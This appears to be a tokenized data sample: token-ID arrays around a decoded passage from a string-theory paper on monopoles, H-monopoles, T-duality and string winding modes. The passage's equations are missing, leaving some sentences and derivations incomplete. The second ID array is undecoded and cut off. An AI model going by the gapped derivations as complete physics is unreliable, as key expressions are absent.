[ 40944, 253, 1840, 2048, 323, 2367, 1179, 378, 724, 715, 253, 2250, 964, 831, 5644, 281, 253, 8789, 844, 476, 1024, 923, 849, 253, 2876, 2507, 3254, 253, 5058, 4438, 15, 1198, 10357, 3087, 14462, 387, 3638, 370, 83, 5, 824, 347, 1157, 253, 669, 3124, 5, 285, 669, 2162, 5, 10575, 273, 253, 2876, 4564, 3066, 253, 5212, 1673, 273, 253, 209, 575, 2163, 412, 1306, 281, 669, 1637, 1352, 1198, 14599, 2192, 455, 273, 253, 2876, 534, 4558, 15312, 1475, 253, 370, 52, 63, 18, 1366, 253, 2802, 25268, 457, 17581, 281, 669, 1637, 5, 3066, 253, 12087, 15, 496, 1016, 1083, 13, 9428, 370, 57, 2850, 2162, 5, 285, 370, 57, 63, 22, 5, 403, 1677, 407, 209, 575, 9, 2858, 370, 57, 2850, 3124, 13, 1594, 63, 83, 5, 403, 10341, 582, 840, 359, 4044, 253, 1563, 26150, 323, 669, 1637, 18965, 1198, 247, 2876, 7063, 8523, 387, 669, 3124, 30, 17, 5, 38311, 2080, 432, 253, 209, 575, 2163, 412, 1306, 13, 342, 2367, 5256, 61, 1637, 724, 17912, 5058, 387, 253, 1265, 273, 253, 3200, 13, 359, 923, 326, 253, 2900, 323, 2367, 5256, 61, 1637, 724, 310, 3103, 3308, 13, 2057, 323, 253, 2876, 534, 44423, 2192, 10037, 13, 390, 323, 253, 2876, 10357, 3087, 387, 23579, 13, 253, 2036, 906, 310, 326, 2367, 5256, 61, 1637, 724, 556, 2559, 407, 2367, 6165, 64, 21, 63, 19, 61, 1189, 19, 61, 2059, 63, 19, 61, 1637, 8, 416, 724, 2378, 253, 2876, 556, 15159, 15, 187, 187, 1231, 476, 671, 1908, 247, 308, 14, 34716, 2715, 273, 436, 1232, 407, 9591, 247, 308, 14, 563, 1319, 9261, 2112, 253, 370, 89, 63, 22, 5, 3884, 3021, 2444, 275, 247, 4114, 835, 370, 89, 63, 22, 5, 556, 2180, 5755, 669, 3582, 416, 426, 393, 1637, 39618, 51, 1352, 831, 9261, 8115, 253, 209, 575, 2163, 412, 1306, 715, 271, 388, 14, 2163, 412, 1306, 209, 575, 395, 247, 2876, 342, 25072, 1475, 370, 89, 63, 22, 5, 715, 247, 2876, 342, 10254, 2112, 370, 89, 63, 22, 5, 964, 380, 308, 14, 563, 1319, 875, 253, 209, 575, 395, 388, 14, 2163, 412, 1306, 5482, 588, 320, 5469, 275, 625, 2508, 275, 253, 1563, 2593, 15, 187, 187, 510, 388, 14, 2163, 412, 1306, 2900, 3936, 253, 2620, 14, 6967, 830, 835, 669, 1637, 13, 393, 2461, 13, 393, 7718, 5, 1024, 1408, 689, 370, 18, 13, 19, 13, 20, 13, 22, 5, 285, 669, 6065, 5, 310, 1677, 407, 835, 370, 83, 426, 14766, 4642, 1269, 23116, 285, 370, 89, 63, 22, 64, 17, 5, 310, 253, 4328, 273, 253, 388, 14, 2163, 412, 1306, 2112, 253, 370, 52, 63, 18, 1352, 187, 187, 8497, 275, 1798, 326, 253, 388, 14, 2163, 412, 1306, 310, 3921, 1439, 4622, 13727, 762, 370, 89, 63, 22, 5, 29971, 13, 12401, 253, 209, 575, 2163, 412, 1306, 15, 1284, 247, 906, 697, 16237, 5120, 12786, 11627, 403, 1677, 407, 29971, 275, 31502, 20, 5, 347, 973, 347, 10234, 2112, 253, 370, 52, 63, 18, 1352, 831, 8018, 326, 627, 310, 247, 5058, 4438, 8785, 209, 575, 34502, 4179, 13, 347, 3264, 432, 308, 14, 563, 1319, 15, 187, 187, 7542, 10234, 275, 370, 89, 63, 22, 5, 310, 642, 3356, 247, 10377, 13, 627, 310, 642, 14144, 1569, 534, 17163, 2352, 253, 10027, 273, 247, 2876, 342, 10254, 2112, 370, 89, 63, 22, 1352, 1723, 387, 1781, 4181, 432, 253, 45966, 1306, 436, 10377, 310, 5512, 3588, 285, 3021, 359, 1537, 1902, 247, 2876, 342, 10254, 387, 1781, 13849, 432, 253, 45966, 1306, 281, 320, 6474, 15, 844, 476, 13, 2299, 13, 407, 24760, 281, 253, 2045, 5955, 3630, 1066, 247, 2876, 18974, 534, 1057, 5386, 253, 10254, 273, 253, 2876, 1223, 7562, 352, 29556, 2080, 432, 432, 253, 45966, 1306, 15, 380, 308, 14, 34716, 273, 253, 2045, 2876, 18974, 310, 1916, 271, 19969, 2819, 387, 253, 2876, 2822, 253, 6146, 15903, 352, 4620, 326, 436, 6661, 15814, 581, 3943, 273, 10254, 275, 253, 370, 89, 63, 22, 5, 3884, 15, 1723, 253, 2120, 2048, 323, 253, 10254, 370, 81, 64, 22, 5, 275, 253, 10720, 3884, 310, 10351, 432, 253, 45966, 1306, 253, 7982, 310, 5512, 6507, 13, 533, 359, 1364, 4456, 326, 352, 310, 3309, 281, 897, 767, 1027, 20412, 281, 6266, 253, 370, 35, 5, 1673, 534, 310, 253, 4972, 2442, 273, 247, 24739, 45966, 1306, 15, 3308, 281, 7472, 370, 81, 64, 22, 5, 275, 253, 10586, 32660, 359, 1364, 897, 253, 4569, 830, 273, 370, 35, 5, 534, 5644, 281, 534, 1057, 6296, 29259, 387, 253, 6420, 15903, 15, 187, 187, 4041, 1039, 281, 1158, 273, 436, 310, 347, 3637, 15, 496, 2876, 3762, 359, 943, 12129, 875, 1669, 285, 987, 14, 26621, 11627, 327, 370, 52, 63, 18, 1352, 496, 253, 209, 575, 2163, 412, 1306, 4114, 247, 2876, 10785, 1475, 253, 38307, 13249, 370, 89, 63, 22, 18914, 30, 1269, 63, 22, 64, 45, 428, 1269, 63, 22, 64, 51, 370, 476, 10357, 527, 984, 253, 370, 52, 63, 18, 5, 310, 5713, 2122, 1327, 14, 85, 1069, 1365, 689, 253, 370, 52, 63, 19, 5, 387, 23579, 15, 380, 308, 14, 34716, 2715, 556, 247, 2876, 342, 10254, 2112, 253, 38307, 13249, 370, 89, 63, 22, 13879, 5, 534, 310, 6425, 281, 247, 2876, 342, 25072, 1475, 253, 8746, 13249, 370, 89, 63, 22, 18914, 30, 89, 63, 22, 64, 45, 428, 50276, 89, 63, 22, 64, 51, 1352, 380, 869, 7695, 273, 253, 370, 35, 5, 1673, 275, 253, 388, 14, 2163, 412, 1306, 310, 6425, 281, 3981, 326, 253, 4156, 18080, 387, 23579, 556, 370, 52, 63, 18, 5, 342, 13249, 370, 89, 63, 22, 64, 14595, 5713, 2122, 689, 253, 370, 52, 63, 19, 5, 387, 23579, 15, 831, 18303, 253, 958, 326, 3921, 15617, 4622, 2876, 11627, 370, 89, 63, 22, 2253, 2617, 5, 1132, 247, 1327, 14, 26551, 2554, 275, 253, 2120, 2900, 15, 743, 1783, 2074, 281, 253, 2045, 581, 2722, 326, 209, 575, 34502, 4179, 310, 14900, 275, 436, 1232, 407, 271, 48866, 273, 1655, 432, 253, 2876, 715, 253, 388, 14, 2163, 412, 1306, 285, 16820, 273, 253, 5058, 4438, 8785, 209, 575, 34502, 4179, 15, 187, 187, 53, 14, 563, 1319, 273, 2876, 3762, 310, 271, 3242, 13358, 11206, 10377, 273, 1327, 44931, 800, 2876, 3762, 15, 844, 778, 2743, 1097, 253, 388, 14, 2163, 412, 1306, 285, 253, 17345, 45966, 1306, 347, 1798, 35188, 273, 253, 1511, 3719, 2876, 5809, 5738, 31502, 21, 393, 3181, 322, 63, 18, 1126, 3582, 416, 94, 393, 3181, 308, 63, 22, 5, 285, 31502, 21, 393, 3181, 322, 63, 18, 64, 51, 50276, 61, 3181, 308, 63, 22, 1366, 2975, 15, 3667, 13073, 347, 3054, 275, 2876, 1673, 3762, 841, 767, 5482, 1364, 320, 8931, 15, 1707, 403, 13, 2299, 13, 247, 1180, 273, 21843, 1981, 2792, 670, 253, 5886, 875, 253, 767, 5482, 347, 1677, 1060, 15, 187, 187, 1466, 441, 1067, 253, 38307, 13249, 273, 370, 52, 63, 18, 1126, 3582, 416, 724, 370, 89, 63, 22, 13879, 5, 285, 326, 273, 370, 52, 63, 18, 64, 51, 5, 275, 253, 308, 14, 34716, 4114, 370, 89, 63, 22, 18914, 1352, 380, 806, 25351, 310, 326, 253, 209, 575, 2163, 412, 1306, 4620, 281, 452, 271, 310, 6213, 1223, 253, 388, 14, 2163, 412, 1306, 1057, 417, 27, 380, 388, 14, 2163, 412, 1306, 2900, 310, 1929, 281, 2723, 281, 271, 3242, 29269, 1673, 3762, 285, 310, 3021, 271, 3242, 2900, 281, 2876, 3762, 1293, 667, 669, 1637, 9805, 17660, 15, 1284, 4879, 275, 253, 2045, 2593, 352, 310, 417, 13727, 762, 29971, 275, 370, 89, 63, 22, 13879, 1352, 3308, 352, 310, 417, 2590, 849, 281, 4647, 253, 2629, 4803, 323, 308, 14, 563, 1319, 21257, 275, 370, 89, 63, 22, 13879, 5, 1580, 841, 2430, 253, 6242, 273, 247, 43779, 4972, 1673, 15, 1623, 253, 643, 1133, 13, 253, 308, 14, 34716, 45966, 1306, 1057, 452, 247, 43779, 4972, 1677, 407, 10234, 275, 370, 89, 63, 22, 64, 14595, 285, 310, 671, 6326, 281, 320, 271, 3242, 2900, 273, 2876, 3762, 1580, 253, 7982, 310, 4373, 76, 1240, 2146, 15, 380, 1273, 25351, 310, 326, 253, 388, 14, 2163, 412, 1306, 15646, 247, 773, 38088, 255, 668, 7982, 387, 1355, 2193, 273, 669, 4642, 1269, 5, 285, 370, 89, 63, 22, 13879, 1352, 831, 310, 247, 12906, 273, 253, 2629, 13386, 7982, 17430, 281, 247, 1220, 262, 5120, 2620, 19959, 15, 1623, 253, 643, 1133, 253, 209, 575, 2163, 412, 1306, 7982, 556, 642, 861, 273, 824, 3879, 15, 1359, 476, 841, 5441, 320, 30855, 4206, 342, 308, 14, 563, 1319, 32, 187, 187, 688, 436, 2593, 359, 588, 9059, 326, 841, 43884, 403, 11512, 407, 14586, 281, 253, 209, 575, 2163, 412, 1306, 2900, 275, 2876, 3762, 1955, 281, 7863, 2876, 25072, 10006, 15, 496, 1798, 13, 359, 588, 9059, 326, 253, 209, 575, 2163, 412, 1306, 556, 247, 3686, 273, 13386, 3879, 534, 651, 320, 39039, 407, 11715, 273, 2876, 25072, 10006, 275, 253, 1072, 1039, 326, 253, 388, 14, 2163, 412, 1306, 13386, 651, 320, 39039, 407, 253, 11715, 273, 2876, 10254, 3054, 15, 187, 187, 2512, 403, 2067, 4088, 281, 2096, 2139, 841, 10006, 403, 1774, 275, 253, 45966, 1306, 4114, 15, 3973, 13, 387, 253, 5161, 273, 253, 45966, 1306, 253, 9941, 273, 370, 89, 63, 22, 64, 14595, 7274, 5058, 15, 3308, 2822, 253, 253, 5161, 273, 253, 45966, 1306, 253, 2876, 25072, 10006, 2489, 29607, 1708, 285, 1364, 320, 2908, 275, 253, 8062, 15, 6347, 13, 432, 253, 370, 53, 2911, 34716, 1127, 273, 1859, 13, 359, 476, 18368, 11101, 3014, 253, 388, 14, 2163, 412, 1306, 2900, 407, 4028, 342, 285, 323, 370, 79, 393, 570, 470, 1352, 380, 209, 575, 2163, 412, 1306, 2900, 15877, 432, 9433, 253, 2629, 308, 14, 563, 1319, 9261, 5323, 281, 253, 7982, 285, 2367, 1179, 378, 724, 1673, 3413, 432, 669, 8616, 64, 17, 1352, 380, 669, 8616, 64, 79, 5, 476, 320, 1869, 273, 347, 253, 8946, 2193, 273, 253, 17345, 10254, 3054, 275, 253, 388, 14, 2163, 412, 1306, 4114, 15, 5838, 326, 597, 4979, 407, 247, 3408, 762, 247, 5333, 273, 370, 89, 63, 22, 578, 24728, 17, 724, 534, 310, 253, 5058, 4438, 12786, 13249, 323, 10234, 275, 253, 370, 89, 63, 22, 13879, 5, 1899, 273, 253, 608, 14, 19959, 15, 6166, 308, 14, 563, 1319, 13, 359, 651, 1902, 326, 627, 651, 320, 8946, 2193, 323, 253, 2876, 25072, 4910, 275, 253, 8746, 4114, 15, 3308, 762, 308, 14, 563, 1319, 359, 1902, 326, 275, 247, 4114, 342, 370, 89, 63, 22, 64, 14595, 1907, 9941, 370, 51, 426, 393, 1637, 8, 37860, 3582, 416, 724, 285, 253, 370, 89, 63, 22, 13879, 5, 3907, 4910, 1146, 1110, 273, 253, 17345, 45966, 1306, 13, 326, 627, 943, 320, 8946, 2193, 323, 253, 4910, 323, 247, 2876, 273, 25072, 370, 79, 5, 1677, 407, 835, 370, 89, 63, 22, 578, 24728, 17, 724, 310, 253, 12786, 13249, 323, 29971, 275, 253, 13249, 370, 89, 63, 22, 13879, 1352, 187, 187, 510, 2193, 209, 575, 1171, 253, 8946, 25072, 4910, 476, 320, 7192, 13, 387, 1878, 36143, 13, 275, 1264, 4088, 15, 5761, 4088, 403, 2876, 14, 783, 30325, 13, 253, 2626, 8687, 271, 3576, 1673, 3762, 15, 380, 806, 1039, 8687, 2876, 1673, 3762, 15, 844, 2743, 253, 209, 575, 2163, 412, 1306, 347, 247, 1798, 1375, 275, 253, 1511, 3719, 2876, 3762, 4270, 327, 253, 12124, 31502, 21, 393, 3181, 322, 63, 18, 64, 51, 50276, 61, 3181, 308, 63, 22, 1352, 1284, 824, 352, 1364, 320, 2529, 407, 247, 4972, 275, 253, 2317, 273, 3054, 669, 2775, 64, 17, 5, 273, 253, 29269, 1673, 3762, 2330, 281, 436, 12124, 15, 3308, 13, 253, 209, 575, 2163, 412, 1306, 1364, 320, 2529, 407, 247, 2876, 5149, 3701, 669, 8616, 578, 18717, 11326, 57, 1035, 2592, 9102, 187, 61, 249, 393, 2775, 64, 17, 1352, 1716, 2414, 600, 13, 253, 2193, 273, 253, 5149, 3701, 403, 2931, 407, 16344, 253, 1533, 20472, 1854, 9909, 327, 253, 7592, 970, 253, 209, 575, 11814, 669, 2592, 2911, 7645, 285, 23254, 7548, 2515, 370, 57, 1035, 2592, 13, 391, 30, 18, 10, 426, 1594, 1035, 2592, 3822, 1623 ]	substituting the above expression for ${\cal B}$ into the action. This leads to the coupling We can now see how the string excites the zero mode. For unwinding motions at constant $r$ such as, the $\theta$ and $\phi$ variations of the string couple via the magnetic field of the monopole to $\alpha$. For radial infall of the string which remains wrapped around the $S^1$, the ‘particle’ couples to $\alpha$ via the geometry. In each case, suppose $X^\phi$ and $X^5$ are given by (but $X^\theta, X^r$ are arbitrary), then we obtain the following Lagrangian for $\alpha$: For a string sitting initially at $\theta=0$ asymptotically far from the monopole, with ${\dot\alpha}$ consequently zero at the start of the motion, we see that the solution for ${\dot\alpha}$ is therefore Thus, either for the string which radially infalls, or for the string unwinding at infinity, the net result is that ${\dot\alpha}$ has increased by ${\kappa_4^2\over2\pi^2\alpha' R}$ once the string has disappeared. We can also consider a T-dual version of this process by performing a T-duality transformation along the $x^5$ direction thus working in a background where $x^5$ has periodicity $\tilde R = \alpha'/R$. This transformation maps the monopole into an H-monopole and a string with winding around $x^5$ into a string with momentum along $x^5$. The T-duality between the and H-monopole solutions will be discussed in more detail in the following section. The H-monopole solution takes the five-dimensional form where $\alpha, \beta, \cdots$ now run over $1,2,3,5$ and $\Phi$ is given by where $r = \|\vec x\|$ and $x^5_0$ is the location of the H-monopole along the $S^1$. Note in particular that the H-monopole is [not]{} invariant under $x^5$ translations, unlike the monopole. As a result its bosonic collective coordinates are given by translations in $^3$ as well as translation along the $S^1$. This implies that there is a zero mode carrying electric charge, as expected from T-duality. Since translation in $x^5$ is no longer a symmetry, there is no conservation law which forbids the decay of a string with momentum along $x^5$. However at large distance from the monopole this symmetry is approximately valid and thus we might expect a string with momentum at large distances from the monopole to be stable. We can, however, by analogy to the previous discussion write down a string trajectory which does remove the momentum of the string while keeping it infinitely far from from the monopole. The T-dual of the previous string trajectory is To an observer looking at the string near the north pole it appears that this configuration carries one unit of momentum in the $x^5$ direction. However the full expression for the momentum $p_5$ in the fifth direction is Far from the monopole the metric is approximately flat, but we must remember that it is necessary to use two different patches to describe the $B$ field which is the vector potential of a Dirac monopole. Thus to evaluate $p_5$ in the Southern hemisphere we must use the appropriate form of $B$ which leads to which does indeed vanish at the south pole. One way to think of this is as follows. In string theory we should distinguish between left and right-moving coordinates on $S^1$. In the monopole background a string wound around the geometrical coordinate $x^5_-= x^5_L - x^5_R $ can unwind because the $S^1$ is fibered non-trivially over the $S^2$ at infinity. The T-dual version has a string with momentum along the geometrical coordinate $x^5_+$ which is equivalent to a string with winding around the dual coordinate $x^5_-=x^5_L - x^5_R$. The patching of the $B$ field in the H-monopole is equivalent to saying that the global topology at infinity has $S^1$ with coordinate $x^5_-$ fibered over the $S^2$ at infinity. This illustrates the fact that [both]{} string coordinates $x^5_\pm$ play a non-trivial role in the full solution. An analysis similar to the previous one shows that electric charge is conserved in this process by an inflow of current from the string into the H-monopole and excitation of the zero mode carrying electric charge. T-duality of string theory is an exact discrete gauge symmetry of nonperturbative string theory. We may regard both the H-monopole and the monopole as particular excitations of the type II string vacua $^4 \times S^1_{\tilde R} \times T^5$ and $^4 \times S^1_R \times T^5$, respectively. Regarded as states in string field theory these two solutions must be identical. There are, however, a number of puzzling points about the relation between the two solutions as given here. Let us call the geometrical coordinate of $S^1_{\tilde R}$ $x^5_+$ and that of $S^1_R$ in the T-dual background $x^5_-$. The first puzzle is that the monopole appears to have an isometry while the H-monopole does not: The H-monopole solution is known to correspond to an exact conformal field theory and is thus an exact solution to string theory without any $\alpha'$ corrections. As noted in the previous section it is not invariant under translations in $x^5_+$. Thus it is not clear how to apply the standard rules for T-duality transformations in $x^5_+$ since these require the existence of a Killing vector field. On the other hand, the T-dual monopole does have a Killing vector given by translation in $x^5_-$ and is also supposed to be an exact solution of string theory since the metric is hyperkahler. The second puzzle is that the H-monopole exhibits a “throat” metric at small values of $\vec x$ and $x^5_+$. This is a reflection of the standard throat metric transverse to a solitonic fivebrane. On the other hand the monopole metric has no sign of such behavior. How can these facts be reconciled with T-duality? In this section we will argue that these puzzles are resolved by modifications to the monopole solution in string theory due to massive string winding modes. In particular, we will argue that the monopole has a sort of throat behavior which would be probed by scattering of string winding modes in the same way that the H-monopole throat would be probed by the scattering of string momentum states. There are several ways to understand why these modes are important in the monopole background. First, at the core of the monopole the radius of $x^5_-$ approaches zero. Thus near the the core of the monopole the string winding modes become arbitrarily light and must be included in the dynamics. Second, from the $T$-dual point of view, we can Fourier decompose the H-monopole solution by writing with and for $n \ne 0$. The monopole solution arises from applying the standard T-duality transformation laws to the metric and ${\cal B}$ field determined from $\Psi_0$. The $\Psi_n$ can be thought of as the classical values of the momentum states in the H-monopole background. Note that they transform by a phase under a shift of $x^5_{+,0}$ which is the zero mode collective coordinate for translation in the $x^5_+$ position of the 5-brane. Under T-duality, we would expect that there would be classical values for the string winding fields in the dual background. Thus under T-duality we expect that in a background with $x^5_-$ having radius $R = \alpha'/{\tilde R}$ and the $x^5_+$ independent fields being those of the monopole, that there should be classical values for the fields for a string of winding $n$ given by where $x^5_{+,0}$ is the collective coordinate for translations in the coordinate $x^5_+$. The values of the classical winding fields can be understood, at least qualitatively, in three ways. Two ways are string-theoretic, the third involves an effective field theory. The first way involves string field theory. We regard the monopole as a particular state in the type II string theory built on the vacuum $^4 \times S^1_R \times T^5$. As such it must be described by a vector in the space of states $\CH_0$ of the conformal field theory associated to this vacuum. Thus, the monopole must be described by a string wavefunction $\Psi_{KK}[X(\sigma)] \in \CH_0$. Concretely, the values of the wavefunction are defined by evaluating the worldsheet path integral on the disk using the background $\sigma$-model and imposing boundary conditions $X(\sigma, r=1) = X(\sigma)$. On
[ 14, 53, 1630, 3533, 403, 2130, 760, 327, 19937, 6787, 4476, 76, 15, 681, 13, 534, 403, 2104, 281, 1361, 347, 1142, 347, 12440, 326, 403, 6110, 275, 4933, 731, 824, 3686, 273, 19517, 388, 3246, 19, 14, 53, 1630, 1889, 312, 399, 10628, 342, 3426, 9008, 15, 5595, 273, 253, 2069, 13, 19517, 388, 3246, 19, 14, 53, 1630, 1174, 476, 320, 9716, 275, 253, 33907, 273, 388, 3246, 19, 14, 53, 1630, 19036, 17724, 285, 436, 310, 253, 1921, 2139, 352, 434, 1805, 281, 2619, 253, 19517, 388, 3246, 19, 14, 53, 1630, 1071, 3533, 187, 187, 12161, 19517, 388, 3246, 19, 14, 53, 1630, 6004, 342, 388, 3246, 19, 14, 53, 1630, 6004, 399, 10628, 187, 187, 1394, 588, 1089, 594, 247, 1180, 273, 253, 19517, 27371, 326, 3839, 326, 1053, 626, 25301, 342, 253, 7219, 273, 436, 19517, 388, 3246, 19, 14, 53, 1630, 1071, 342, 34095, 388, 3246, 19, 14, 53, 1630, 657, 4339, 277, 10628, 326, 812, 2686, 2818, 4645, 598, 323, 253, 388, 3246, 5619, 9751, 29248, 21612, 1071, 1077, 8069, 15, 1422, 12758, 281, 1611, 285, 13249, 342, 441, 347, 359, 476, 10073, 776, 8548, 281, 8722, 616, 2180, 1682, 388, 3246, 19, 14, 53, 1630, 23208, 6004, 13, 594, 23476, 326, 352, 476, 320, 1663, 9371, 323, 731, 281, 1691, 2366, 323, 19517, 388, 3246, 19, 14, 53, 1630, 21612, 1071, 15, 187, 187, 3251, 39796, 273, 19517, 388, 3246, 19, 14, 53, 1630, 12963, 527, 10628, 2064, 10338, 17814, 10540, 733, 187, 187, 4041, 273, 253, 7445, 5373, 670, 441, 310, 326, 359, 6186, 19517, 13126, 19937, 1245, 388, 3246, 19, 14, 53, 1630, 1174, 277, 10628, 323, 776, 8548, 13, 594, 326, 352, 476, 320, 1663, 1077, 3477, 323, 731, 281, 1056, 323, 19517, 388, 3246, 19, 14, 53, 1630, 21612, 1174, 342, 253, 1361, 273, 776, 388, 3246, 19, 14, 53, 1630, 3946, 1174, 3533, 359, 751, 281, 2085, 323, 731, 15, 1723, 13, 597, 476, 4489, 776, 3694, 671, 755, 19517, 388, 3246, 19, 14, 53, 1630, 6004, 399, 10628, 13, 594, 352, 476, 320, 9371, 323, 731, 281, 10347, 281, 755, 19517, 388, 3246, 19, 14, 53, 1630, 388, 3246, 19, 14, 53, 1630, 3946, 1071, 3694, 15, 187, 187, 41, 3246, 19, 14, 59, 1839, 187, 187, 1231, 1472, 4933, 247, 2257, 273, 10418, 318, 5001, 388, 3246, 19, 14, 59, 1839, 21612, 1174, 5043, 432, 534, 8017, 305, 40756, 403, 2104, 3157, 616, 6789, 281, 253, 1098, 980, 273, 4780, 275, 388, 3246, 19, 14, 59, 1839, 747, 3533, 285, 9172, 15, 19517, 40900, 11147, 42473, 388, 3246, 9107, 14, 7769, 32492, 1071, 3533, 21270, 5907, 407, 19937, 6787, 4476, 76, 15, 681, 285, 352, 310, 1077, 24400, 323, 388, 3246, 19, 14, 59, 1839, 1071, 3533, 5907, 407, 19937, 6787, 4476, 76, 15, 681, 15, 187, 187, 2374, 253, 745, 4839, 326, 368, 403, 629, 273, 271, 8017, 1754, 17273, 13, 840, 368, 403, 7032, 281, 1509, 388, 3246, 19, 14, 59, 1839, 1174, 15, 1284, 247, 906, 13, 5001, 1509, 388, 3246, 19, 14, 59, 1839, 1174, 352, 310, 12014, 5667, 281, 990, 2970, 4704, 323, 253, 388, 3246, 19, 14, 59, 1839, 31697, 277, 10628, 13, 2010, 352, 778, 990, 598, 22293, 20276, 323, 3484, 281, 1509, 388, 3246, 19, 14, 59, 1839, 1071, 387, 806, 1611, 15, 187, 187, 12864, 253, 1682, 3909, 388, 3246, 19, 14, 59, 1839, 277, 10628, 187, 187, 1147, 434, 1774, 281, 7703, 562, 247, 4623, 6003, 534, 310, 4933, 3302, 2281, 19517, 40900, 11147, 388, 3246, 19, 14, 59, 1839, 1174, 277, 10628, 715, 253, 7219, 273, 388, 3246, 19, 14, 59, 1839, 1174, 13, 347, 9008, 310, 12232, 1078, 4645, 598, 281, 253, 1390, 13, 954, 30417, 1071, 273, 388, 3246, 19, 14, 59, 1839, 2112, 1110, 3104, 15, 1707, 403, 247, 2257, 273, 8889, 326, 403, 4933, 388, 3246, 19, 14, 59, 1839, 6513, 527, 10628, 3533, 2299, 359, 403, 4933, 3962, 6513, 527, 10628, 3533, 323, 388, 3246, 19, 14, 59, 1839, 1071, 407, 534, 368, 403, 2104, 281, 1509, 388, 3246, 19, 14, 59, 1839, 1071, 5907, 407, 776, 5882, 275, 8523, 19072, 25755, 15, 187, 187, 3633, 388, 3246, 19, 14, 59, 1839, 31697, 277, 10628, 1677, 407, 19937, 6787, 4476, 76, 15, 681, 285, 4264, 5373, 273, 23082, 387, 806, 11931, 273, 388, 3246, 19, 14, 59, 1839, 3733, 2144, 15, 844, 403, 8133, 6593, 9008, 5382, 323, 388, 3246, 19, 14, 59, 1839, 277, 10628, 275, 247, 1199, 14, 676, 2122, 2105, 285, 368, 403, 2104, 281, 755, 11528, 6142, 366, 432, 776, 388, 3246, 19, 14, 59, 1839, 3533, 285, 9172, 15, 1422, 1472, 4704, 281, 22773, 387, 776, 3565, 3909, 5147, 323, 42473, 388, 3246, 9107, 14, 7769, 32492, 1174, 285, 3609, 1463, 3533, 323, 388, 3246, 19, 14, 59, 1839, 3946, 1174, 15, 7198, 763, 3884, 588, 320, 11941, 281, 247, 5268, 323, 388, 3246, 19, 14, 59, 1839, 1174, 285, 2168, 368, 403, 9995, 670, 253, 2332, 4957, 2908, 275, 776, 388, 3246, 19, 14, 59, 1839, 3410, 3533, 387, 253, 673, 368, 452, 253, 3745, 281, 5115, 275, 388, 3246, 19, 14, 59, 1839, 1071, 15, 2058, 253, 24555, 5438, 273, 11280, 388, 3246, 19, 14, 59, 1839, 3946, 1174, 432, 776, 19517, 40900, 11147, 388, 3246, 19, 14, 59, 1839, 3733, 2144, 15, 187, 187, 2512, 434, 39637, 2996, 3668, 323, 3484, 665, 971, 281, 1509, 388, 3246, 19, 14, 59, 1839, 1174, 13, 326, 359, 1472, 5277, 13828, 388, 3246, 19, 14, 59, 1839, 6513, 527, 10628, 3533, 342, 2233, 6, 7942, 896, 12215, 13, 275, 1083, 368, 1472, 10268, 667, 2523, 670, 19517, 40900, 11147, 388, 3246, 19, 14, 59, 1839, 1071, 840, 368, 1833, 320, 18107, 407, 776, 6485, 1387, 534, 310, 12482, 1475, 253, 8886, 15, 32954, 18676, 4502, 9953, 13, 18634, 13, 285, 4918, 15, 187, 510, 2440, 273, 5893, 18676, 4502, 3210, 347, 247, 2561, 4968, 323, 1027, 10006, 273, 4918, 556, 644, 7561, 6760, 15, 17746, 841, 8837, 452, 2057, 31321, 8228, 390, 452, 644, 46695, 275, 275, 29252, 8709, 15, 2071, 14630, 8837, 452, 671, 644, 34663, 4197, 407, 427, 21375, 21, 8422, 22, 14, 79, 4905, 14, 19, 14, 37323, 1190, 4587, 19, 14, 394, 13306, 311, 1190, 62, 830, 15320, 313, 39, 1539, 5518, 10, 672, 32939, 11966, 689, 247, 1048, 2180, 273, 673, 15, 733, 556, 644, 2007, 2361, 326, 841, 8837, 452, 644, 14481, 407, 2710, 13215, 32991, 15, 380, 11659, 273, 271, 5661, 18676, 4502, 1566, 6131, 271, 5107, 281, 7472, 253, 12510, 273, 247, 15588, 1971, 15, 496, 776, 2175, 401, 1539, 5518, 369, 4879, 281, 4711, 760, 432, 5922, 281, 3387, 6, 18676, 8837, 275, 2067, 4679, 275, 271, 275, 29252, 7372, 273, 7600, 5196, 689, 2067, 1107, 15, 2719, 2466, 20109, 11286, 1430, 273, 841, 8837, 369, 417, 2837, 494, 275, 253, 1072, 275, 29252, 7372, 15, 496, 1635, 13, 1971, 342, 4784, 22867, 330, 271, 271, 3576, 3554, 41489, 5570, 369, 417, 21759, 275, 629, 13, 1580, 3294, 1598, 253, 7155, 273, 1453, 18676, 4502, 3116, 369, 1698, 15, 2053, 4342, 273, 247, 1264, 14, 2913, 1263, 943, 320, 9257, 2783, 672, 16344, 12645, 323, 3382, 29398, 13215, 1754, 327, 1543, 2797, 342, 401, 1539, 5518, 15, 50, 27, 187, 187, 2347, 513, 309, 2794, 247, 45584, 1873, 432, 247, 1566, 708, 840, 823, 352, 347, 271, 4579, 14170, 32, 187, 187, 42, 1353, 2820, 281, 6635, 247, 45584, 432, 271, 1789, 7141, 275, 619, 5447, 285, 840, 823, 253, 43153, 281, 271, 4579, 347, 271, 14170, 15, 209, 187, 42, 1353, 970, 42125, 337, 15, 24, 708, 13814, 374, 15, 24, 15, 187, 42, 1353, 2970, 436, 2228, 342, 253, 1563, 2127, 27, 346, 11756, 4756, 27, 38745, 25265, 15, 16360, 8, 1789, 556, 642, 11104, 686, 25950, 21288, 187, 4943, 434, 619, 2127, 27, 187, 1545, 13474, 64, 284, 64, 25265, 9, 16223, 13, 4910, 13, 3490, 64, 15069, 2262, 187, 50273, 3845, 346, 15035, 281, 43153, 3053, 3, 187, 50273, 32488, 187, 50274, 25114, 43153, 13474, 14991, 2250, 15, 187, 50274, 3169, 327, 3944, 1358, 45061, 606, 375, 79, 46588, 15, 2061, 16, 11489, 46588, 16, 14952, 16, 187, 50274, 43315, 323, 1146, 2104, 281, 1918, 1618, 64, 8412, 347, 4910, 285, 789, 342, 50273, 15787, 14, 7769, 3470, 187, 50274, 32488, 187, 50274, 28330, 426, 1304, 187, 50274, 338, 417, 3490, 64, 15069, 27, 187, 50270, 3423, 64, 7886, 426, 873, 8850, 3423, 15, 1590, 323, 1673, 275, 32659, 15, 15069, 3291, 187, 50270, 338, 4910, 27, 187, 50270, 3423, 1178, 426, 873, 9, 15069, 10, 187, 50266, 3423, 64, 7886, 426, 1673, 64, 7886, 708, 1673, 1178, 187, 50274, 44779, 4910, 27, 187, 50270, 3423, 64, 7886, 426, 873, 9, 15069, 10, 187, 50274, 7271, 27, 187, 50270, 22525, 1587, 7872, 3490, 64, 15069, 476, 760, 320, 908, 275, 7529, 342, 4500, 4910, 2807, 535, 50274, 16360, 426, 43153, 15, 16360, 9, 5758, 1587, 2577, 3140, 15, 25265, 6624, 88, 8375, 38352, 2562, 30, 1383, 1383, 